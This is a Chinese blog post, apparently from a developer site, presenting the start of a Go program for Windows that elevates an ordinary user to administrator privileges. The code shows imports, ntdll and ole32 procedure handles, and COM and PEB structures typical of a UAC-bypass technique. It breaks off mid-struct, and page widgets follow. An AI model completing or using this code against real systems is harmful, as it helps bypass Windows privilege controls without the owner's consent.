golang实现普通升管理员权限

golang实现普通升管理员权限

package main

import (
	"fmt"
	"os"
	"path/filepath"
	"runtime"
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
	"golang.org/x/sys/windows/registry"
)

var (
	modntdll = windows.NewLazySystemDLL("ntdll.dll")
	modole32 = windows.NewLazySystemDLL("ole32.dll")

	procRtlInitUnicodeString = modntdll.NewProc("RtlInitUnicodeString")
	procRtlGetCurrentPeb     = modntdll.NewProc("RtlGetCurrentPeb")
	procCoInitializeEx       = modole32.NewProc("CoInitializeEx")
	procCoUninitialize       = modole32.NewProc("CoUninitialize")
	procCoGetObject          = modole32.NewProc("CoGetObject")
)

type cBIND_OPTS3 struct {
	cbStruct            uint32
	grfFlags            uint32
	grfMode             uint32
	dwTickCountDeadline uint32
	dwTrackFlags        uint32
	dwClassContext      uint32
	locale              uint32
	pServerInfo         *uintptr
	hwnd                *uintptr
}

const (
	releaseOffset      = 2
	shellExecuteOffset = 9

	cSEE_MASK_DEFAULT = 0
)

type cUNICODE_STRING struct {
	Length        uint16
	MaximumLength uint16
	Buffer        *uint16
}

type cLIST_ENTRY struct {
	Flink *cLIST_ENTRY
	Blink *cLIST_ENTRY
}

/* The below three structs have several "reserved" members. These are of course well-known and extensively reverse-
 * engineered, but the below shows only the documented and therefore stable fields from Microsoft's winternl.h header */

type cLDR_DATA_TABLE_ENTRY struct {
	Reserved1          [2]uintptr
	InMemoryOrderLinks cLIST_ENTRY
	Reserved2          [2]uintptr
	DllBase            uintptr
	Reserved3          [2]uintptr
	FullDllName        cUNICODE_STRING
	Reserved4          [8]byte
	Reserved5          [3]uintptr
	Reserve
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值